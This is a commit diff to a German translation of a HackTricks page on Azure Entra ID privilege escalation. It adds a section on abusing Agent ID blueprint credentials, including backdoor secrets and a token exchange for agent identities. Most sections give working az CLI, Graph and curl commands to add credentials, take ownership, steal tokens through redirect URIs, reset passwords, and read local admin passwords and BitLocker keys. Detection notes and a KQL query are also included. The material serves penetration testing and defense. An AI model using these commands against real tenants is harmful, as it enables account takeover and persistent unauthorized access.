mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+119
-37
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Beachte, dass **nicht alle granularen Berechtigungen**, die eingebaute Rollen in Entra ID haben, **zur Verwendung in custom roles geeignet** sind.
|
||||
> Beachte, dass **nicht alle granulären Berechtigungen**, die Built-in-Rollen in Entra ID haben, **für die Verwendung in custom roles geeignet sind.**
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an principals zuzuweisen und Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um privileges zu escalieren.
|
||||
Diese Rolle enthält die notwendigen granulären Berechtigungen, um Rollen Principals zuzuweisen und Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um Privileges zu eskalieren.
|
||||
|
||||
- Assign role to a user:
|
||||
```bash
|
||||
@@ -48,11 +48,11 @@ az rest --method PATCH \
|
||||
]
|
||||
}'
|
||||
```
|
||||
## Anwendungen
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Dies ermöglicht einem Angreifer, **Anmeldedaten hinzuzufügen** (Passwörter oder Zertifikate) zu bestehenden Anwendungen. Wenn die Anwendung privilegierte Berechtigungen hat, kann sich der Angreifer als diese Anwendung authentifizieren und diese Privilegien erlangen.
|
||||
Dies ermöglicht es einem Angreifer, **credentials hinzuzufügen** (Passwörter oder Zertifikate) zu bestehenden applications. Wenn die application privilegierte permissions hat, kann sich der Angreifer als diese application authentifizieren und diese privileges erlangen.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Dies ermöglicht dieselben Aktionen wie `applications/credentials/update`, aber beschränkt auf Single-Directory-Anwendungen.
|
||||
Dies erlaubt die gleichen Aktionen wie `applications/credentials/update`, jedoch auf Single-Directory-Applications beschränkt.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Durch das Hinzufügen von sich selbst als Owner kann ein Angreifer die Application manipulieren, einschließlich credentials und permissions.
|
||||
Indem sie sich selbst als Owner hinzufügen, kann ein Angreifer die Anwendung manipulieren, einschließlich Credentials und permissions.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Ein Angreifer kann eine redirect URI zu Anwendungen hinzufügen, die von Benutzern des tenants verwendet werden, und ihnen dann login URLs mit der neuen redirect URL schicken, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die authentication automatisch erfolgt, ohne dass der Benutzer irgendetwas akzeptieren muss.
|
||||
Ein Angreifer kann einer Anwendung, die von Benutzern des Tenants verwendet wird, eine Redirect URI hinzufügen und ihnen dann Login-URLs mit der neuen Redirect-URL teilen, um ihre Tokens zu stehlen. Beachte, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits bei der Anwendung angemeldet war, ohne dass der Benutzer etwas akzeptieren muss.
|
||||
|
||||
Beachte, dass es auch möglich ist, die permissions zu ändern, die die Anwendung anfordert, um mehr permissions zu erhalten, aber in diesem Fall muss der Benutzer die Abfrage, die nach allen permissions fragt, erneut akzeptieren.
|
||||
Beachte, dass es auch möglich ist, die von der Anwendung angeforderten Berechtigungen zu ändern, um mehr Berechtigungen zu erhalten, aber in diesem Fall muss der Benutzer die Aufforderung, die alle Berechtigungen anfragt, erneut akzeptieren.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
@@ -88,11 +88,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**Wie in [diesem Post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt** war es sehr üblich, standardmäßige Applications zu finden, denen **API permissions** vom Typ **`Application`** zugewiesen waren. Eine API Permission (wie in der Entra ID console genannt) vom Typ **`Application`** bedeutet, dass die application auf die API zugreifen und Aktionen ohne user context ausführen kann (ohne user login in die app) und ohne Entra ID roles zu benötigen, die das erlauben. Daher ist es sehr üblich, **hoch privilegierte applications in jedem Entra ID tenant** zu finden.
|
||||
**Wie in [diesem Beitrag](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt** war es sehr häufig, dass Default-Applications gefunden wurden, denen **API permissions** vom Typ **`Application`** zugewiesen waren. Eine API Permission (wie in der Entra ID console genannt) vom Typ **`Application`** bedeutet, dass die application auf die API zugreifen und Aktionen ohne user context ausführen kann (ohne user login in die app) und ohne Entra ID roles zu benötigen, um dies zu erlauben. Daher ist es sehr häufig, **high privileged applications in jedem Entra ID tenant** zu finden.
|
||||
|
||||
Wenn ein attacker dann irgendeine permission/role hat, die es erlaubt, die **credentials (secret o certificate) der application zu aktualisieren**, kann der attacker ein neues credential erzeugen und es dann verwenden, um sich **als die application zu authenticate**, wodurch er alle permissions erhält, die die application hat.
|
||||
Wenn ein attacker dann irgendeine permission/role hat, die es erlaubt, die **credentials (secret o certificate) der application zu updaten**, kann der attacker ein neues credential erzeugen und es dann verwenden, um sich **als die application zu authenticaten**, wodurch er alle permissions erhält, die die application hat.
|
||||
|
||||
Beachte, dass der erwähnte blog einige **API permissions** gängiger Microsoft-Standardapplications teilt; jedoch hat Microsoft einige Zeit nach diesem Bericht dieses Problem behoben und jetzt ist es nicht mehr möglich, sich als Microsoft applications anzumelden. Es ist jedoch weiterhin möglich, **custom applications mit hohen privileges zu finden, die missbraucht werden könnten**.
|
||||
Beachte, dass der erwähnte Blog einige **API permissions** gängiger Microsoft Default-Applications teilt, jedoch hat Microsoft einige Zeit nach diesem report dieses issue behoben und es ist nun nicht mehr möglich, sich als Microsoft applications einzuloggen. Trotzdem ist es weiterhin möglich, **custom applications mit hohen privileges zu finden, die missbraucht werden könnten**.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Finde alle Anwendungs-API-Berechtigungen und markiere Microsoft-eigene APIs</summary>
|
||||
<summary>Finde alle API-Berechtigungen der Anwendungen und markiere Microsoft-owned APIs</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -241,27 +241,102 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Dies ermöglicht es einem Angreifer, Credentials zu bestehenden Service Principals hinzuzufügen. Wenn der Service Principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
|
||||
Dies erlaubt es einem Angreifer, Anmeldeinformationen zu bestehenden service principals hinzuzufügen. Wenn der service principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Das neu generierte Passwort wird nicht in der Web-Konsole angezeigt, daher könnte dies ein stealth Weg sein, um Persistence über einen service principal aufrechtzuerhalten.\
|
||||
> Über die API können sie gefunden werden mit: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> Das neu generierte Passwort wird nicht in der Web-Konsole angezeigt, daher könnte dies ein stealthiger Weg sein, um persistence über einen service principal aufrechtzuerhalten.\
|
||||
> Über die API können sie mit Folgendem gefunden werden: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Wenn du den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhältst, dann liegt das daran, dass **es nicht möglich ist, die Eigenschaft passwordCredentials** des SP zu ändern, und du ihn zuerst unlocken musst. Dafür brauchst du eine permission (`microsoft.directory/applications/allProperties/update`), mit der du Folgendes ausführen kannst:
|
||||
Wenn du den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhältst, liegt das daran, dass **es nicht möglich ist, die property passwordCredentials** des SP zu ändern, und du es zuerst unlocken musst. Dafür brauchst du eine permission (`microsoft.directory/applications/allProperties/update`), die es dir erlaubt, Folgendes auszuführen:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
|
||||
|
||||
**Agent identity blueprints** sind application objects, und jedes blueprint erstellt auch einen **agent identity blueprint principal** im tenant. **Agent identities** sind service-principal-abgeleitete Kinder dieses blueprint paths. Deshalb können Angreifer, wenn sie ein **password/certificate zum blueprint hinzufügen** können oder bereits eines seiner credentials gestohlen haben, sich später als der **blueprint principal** authentifizieren und tokens für child agent identities anfordern.
|
||||
|
||||
Dadurch wird eine schlechte Entra Agent ID role assignment zu beidem:
|
||||
|
||||
- **Persistence**: das neue `passwordCredential` bleibt auf dem blueprint, bis es entfernt wird
|
||||
- **Privilege escalation**: ein low-trust/dev agent kann in ein anderes high-trust blueprint wechseln und dann als dessen child agents agieren
|
||||
|
||||
Typische gefährliche paths sind:
|
||||
|
||||
- Eine kompromittierte agent identity mit **`AgentIdentityBlueprint.AddRemoveCreds.All`**
|
||||
- Ein kompromittierter owner/sponsor/admin, der das blueprint verwalten kann
|
||||
- Diebstahl eines vorhandenen blueprint secret/certificate
|
||||
|
||||
Füge ein neues secret zum target blueprint hinzu:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
|
||||
```
|
||||
Oder mit Microsoft Graph PowerShell:
|
||||
```powershell
|
||||
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
|
||||
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
|
||||
```
|
||||
Wenn die neue Anmeldeinformation akzeptiert wird, authentifiziere dich als der **blueprint principal** und missbrauche den Agent ID token exchange. Die erste Anfrage verwendet die blueprint-Anmeldeinformation und setzt **`fmi_path`** auf die Ziel-Agent-Identität. Das zurückgegebene Token wird dann als **JWT bearer `client_assertion`** wiederverwendet, um ein Microsoft Graph token für diese Agent-Identität zu erhalten.
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
--data-urlencode 'client_id=<blueprint-principal-app-id>' \
|
||||
--data-urlencode 'client_secret=<new-blueprint-secret>' \
|
||||
--data-urlencode 'fmi_path=<target-agent-identity-app-id>' \
|
||||
--data-urlencode 'grant_type=client_credentials' \
|
||||
--data-urlencode 'scope=api://AzureADTokenExchange/.default'
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
--data-urlencode 'client_id=<target-agent-identity-app-id>' \
|
||||
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
|
||||
--data-urlencode 'client_assertion=<token-from-previous-step>' \
|
||||
--data-urlencode 'grant_type=client_credentials' \
|
||||
--data-urlencode 'scope=https://graph.microsoft.com/.default'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Wenn ein **dev**-Blueprint oder sein Child Agent Anmeldedaten zu einem **prod**-Blueprint hinzufügen kann, überschreitet der Angreifer die erwartete Trust-Boundary zwischen Blueprint und Agent und erhält dauerhaften Zugriff auf die Ziel-Agent-Infrastruktur.
|
||||
|
||||
Schnelle Validierung / Scoping:
|
||||
```powershell
|
||||
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
|
||||
$sp.AdditionalProperties['@odata.type']
|
||||
$sp.AdditionalProperties['agentIdentityBlueprintId']
|
||||
|
||||
$app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
|
||||
$app.AdditionalProperties['@odata.type']
|
||||
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
|
||||
```
|
||||
Hunting notes:
|
||||
|
||||
- Suche nach **`Update application – Certificates and secrets management`** in [Az - Monitoring](../../az-services/az-monitoring.md)
|
||||
- Korrelieren **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, und **`AADServicePrincipalSignInLogs`** über Zeit, service principal ID, user-agent, IP, und `SignInActivityId` / `UniqueTokenIdentifier`
|
||||
- In `MicrosoftGraphActivityLogs`, prüfe `RequestUri` endend auf **`/applications/<id>/microsoft.graph.addPassword`** und ob `Roles` **`AgentIdentityBlueprint.AddRemoveCreds.All`** enthält
|
||||
- In `AADServicePrincipalSignInLogs`, prüfe `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, und ob der neue key später verwendet wurde
|
||||
|
||||
Minimaler KQL, um zu sehen, ob das neu hinzugefügte secret authentifiziert wurde:
|
||||
```kusto
|
||||
AADServicePrincipalSignInLogs
|
||||
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
|
||||
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
|
||||
```
|
||||
Dies bezieht sich auf generischen [application credential abuse](../../az-services/az-azuread.md#applications) und [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), aber Entra Agent ID fügt eine zweite Stufe hinzu, bei der die blueprint credential in ein **anderes agent identity token** umgetauscht werden kann.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Dies ermöglicht es einem Angreifer, bestehende Service Principals mit Anmeldeinformationen zu versehen. Wenn der Service Principal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.
|
||||
Dies erlaubt einem Angreifer, Credentials zu bestehenden service principals hinzuzufügen. Wenn der service principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Ähnlich wie bei applications erlaubt diese permission, einem service principal weitere owners hinzuzufügen. Der Besitz eines service principal ermöglicht die Kontrolle über seine credentials und permissions.
|
||||
Ähnlich wie bei applications erlaubt diese Berechtigung, einem service principal weitere owners hinzuzufügen. Der Besitz eines service principal ermöglicht die Kontrolle über seine credentials und permissions.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -279,13 +354,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nachdem ich einen neuen Owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt werde, obwohl genau diese Methode nötig ist, um den Owner zu löschen. Also **kann man Owners heutzutage nicht entfernen**.
|
||||
> Nachdem ich einen neuen Owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, auch wenn genau diese Methode zum Löschen des Owners verwendet werden muss. Also **kannst du heutzutage keine Owners entfernen**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` und `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er irgendwie Zugriff erlangen konnte, um seine Privileges zu eskalieren.
|
||||
Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er auf irgendeine Weise Zugriff erlangen könnte, um seine Privilegien zu eskalieren.
|
||||
|
||||
Beachte, dass der Angreifer für diese Technik weitere Berechtigungen benötigt, um die Kontrolle über den aktivierten service principal zu übernehmen.
|
||||
Beachte, dass der Angreifer für diese Technik weitere Berechtigungen benötigt, um den aktivierten service principal zu übernehmen.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -295,7 +370,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Diese Berechtigungen erlauben das Erstellen und Abrufen von Anmeldeinformationen für Single Sign-On, was Zugriff auf Drittanbieteranwendungen ermöglichen könnte.
|
||||
Diese Berechtigungen erlauben es, Anmeldeinformationen für Single Sign-On zu erstellen und abzurufen, was Zugriff auf Drittanbieteranwendungen ermöglichen könnte.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -317,11 +392,11 @@ az rest --method POST \
|
||||
```
|
||||
---
|
||||
|
||||
## Gruppen
|
||||
## Groups
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Diese Berechtigung ermöglicht es, Benutzer zu privilegierten Gruppen hinzuzufügen, was zu einer Privilege Escalation führt.
|
||||
Diese Berechtigung ermöglicht das Hinzufügen von Benutzern zu privilegierten Gruppen und führt so zu einer Privilege Escalation.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
@@ -329,7 +404,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Diese Berechtigung erlaubt es, ein owner von groups zu werden. Ein owner einer group kann die Gruppenmitgliedschaft und Einstellungen kontrollieren und dadurch potenziell Privilegien auf die group eskalieren.
|
||||
Diese Berechtigung erlaubt es, Besitzer von groups zu werden. Ein Besitzer einer group kann die Gruppenmitgliedschaft und Einstellungen kontrollieren und dadurch potenziell Privilegien auf die group eskalieren.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
@@ -338,13 +413,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Diese Berechtigung erlaubt das Hinzufügen von Mitgliedern zu einer group. Ein Angreifer könnte sich selbst oder schädliche Konten zu privilegierten groups hinzufügen, was erhöhten Zugriff gewähren kann.
|
||||
Diese Berechtigung ermöglicht das Hinzufügen von Mitgliedern zu einer group. Ein Angreifer könnte sich selbst oder bösartige Accounts zu privilegierten groups hinzufügen und dadurch erhöhten Zugriff erhalten.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Diese Berechtigung erlaubt es, die Membership Rule in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen ohne explizite Hinzufügung aufzunehmen.
|
||||
Diese Berechtigung erlaubt es, die Mitgliedschaftsregel in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln so ändern, dass er selbst in privilegierte Gruppen aufgenommen wird, ohne explizit hinzugefügt zu werden.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -359,7 +434,7 @@ az rest --method PATCH \
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Es könnte möglich sein, dass Benutzer ihre Privilegien eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder von dynamic groups hinzugefügt zu werden. Für weitere Infos siehe:
|
||||
Es könnte möglich sein, dass Benutzer ihre Privilegien erhöhen, indem sie ihre eigenen Eigenschaften so ändern, dass sie als Mitglieder dynamischer Gruppen hinzugefügt werden. Für weitere Infos siehe:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -369,7 +444,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Diese Berechtigung erlaubt es, das Passwort von Nicht-Admin-Benutzern zurückzusetzen, wodurch ein potenzieller Angreifer seine Privilegien auf andere Benutzer eskalieren kann. Diese Berechtigung kann nicht custom roles zugewiesen werden.
|
||||
Diese Berechtigung erlaubt das Zurücksetzen des Passworts von Nicht-Admin-Benutzern und ermöglicht es einem potenziellen attacker, Privilegien gegenüber anderen Benutzern zu eskalieren. Diese Berechtigung kann nicht custom roles zugewiesen werden.
|
||||
```bash
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
@@ -389,7 +464,7 @@ az rest --method PATCH \
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Diese Privilege erlaubt es, Eigenschaften des Users zu ändern. Es ist üblich, dynamic groups zu finden, die Users basierend auf property values hinzufügen. Daher könnte diese permission einem User erlauben, den benötigten property value zu setzen, um Mitglied einer bestimmten dynamic group zu werden und Privileges zu escalaten.
|
||||
Diese Berechtigung erlaubt es, Eigenschaften des Users zu ändern. Es ist üblich, dynamische Groups zu finden, die Users anhand von Eigenschaftswerten hinzufügen; daher könnte diese Berechtigung einem User erlauben, den benötigten Eigenschaftswert zu setzen, um Mitglied einer bestimmten dynamischen Group zu werden und Privilege Escalation zu erreichen.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -405,9 +480,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
## Bedingte Zugriffsrichtlinien & MFA-Bypass
|
||||
|
||||
Fehlkonfigurierte Conditional Access Policies, die MFA erfordern, könnten umgangen werden, prüfe:
|
||||
Fehlkonfigurierte bedingte Zugriffsrichtlinien, die MFA erfordern, könnten umgangen werden, prüfe:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -417,7 +492,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Diese Berechtigung erlaubt Angreifern, sich selbst als Besitzer von Devices zuzuweisen, um Kontrolle oder Zugriff auf gerätespezifische Einstellungen und Daten zu erlangen.
|
||||
Diese Berechtigung erlaubt Angreifern, sich selbst als Owner von Devices zuzuweisen, um Kontrolle oder Zugriff auf devicespezifische Einstellungen und Daten zu erhalten.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -428,7 +503,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Diese Berechtigung ermöglicht es Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erlangen oder Sicherheitsrichtlinien zu umgehen.
|
||||
Diese Berechtigung erlaubt Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erhalten oder Sicherheitsrichtlinien zu umgehen.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -439,7 +514,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten lokalen Administrator-Kontodaten für Microsoft Entra-verbundene Geräte zu lesen, einschließlich des Passworts
|
||||
Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten lokalen Administrator-Account-Credentials für Microsoft Entra-joined devices zu lesen, einschließlich des Passworts
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -454,7 +529,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Keys, was einem Angreifer erlauben könnte, Laufwerke zu entschlüsseln und dadurch die Datenvertraulichkeit zu kompromittieren.
|
||||
Diese Berechtigung erlaubt den Zugriff auf BitLocker keys, was einem Angreifer ermöglichen könnte, Laufwerke zu entschlüsseln und dadurch die Datenvertraulichkeit zu kompromittieren.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -475,4 +550,11 @@ az rest --method GET \
|
||||
- `microsoft.directory/applications/appRoles/update`
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
|
||||
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
|
||||
- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user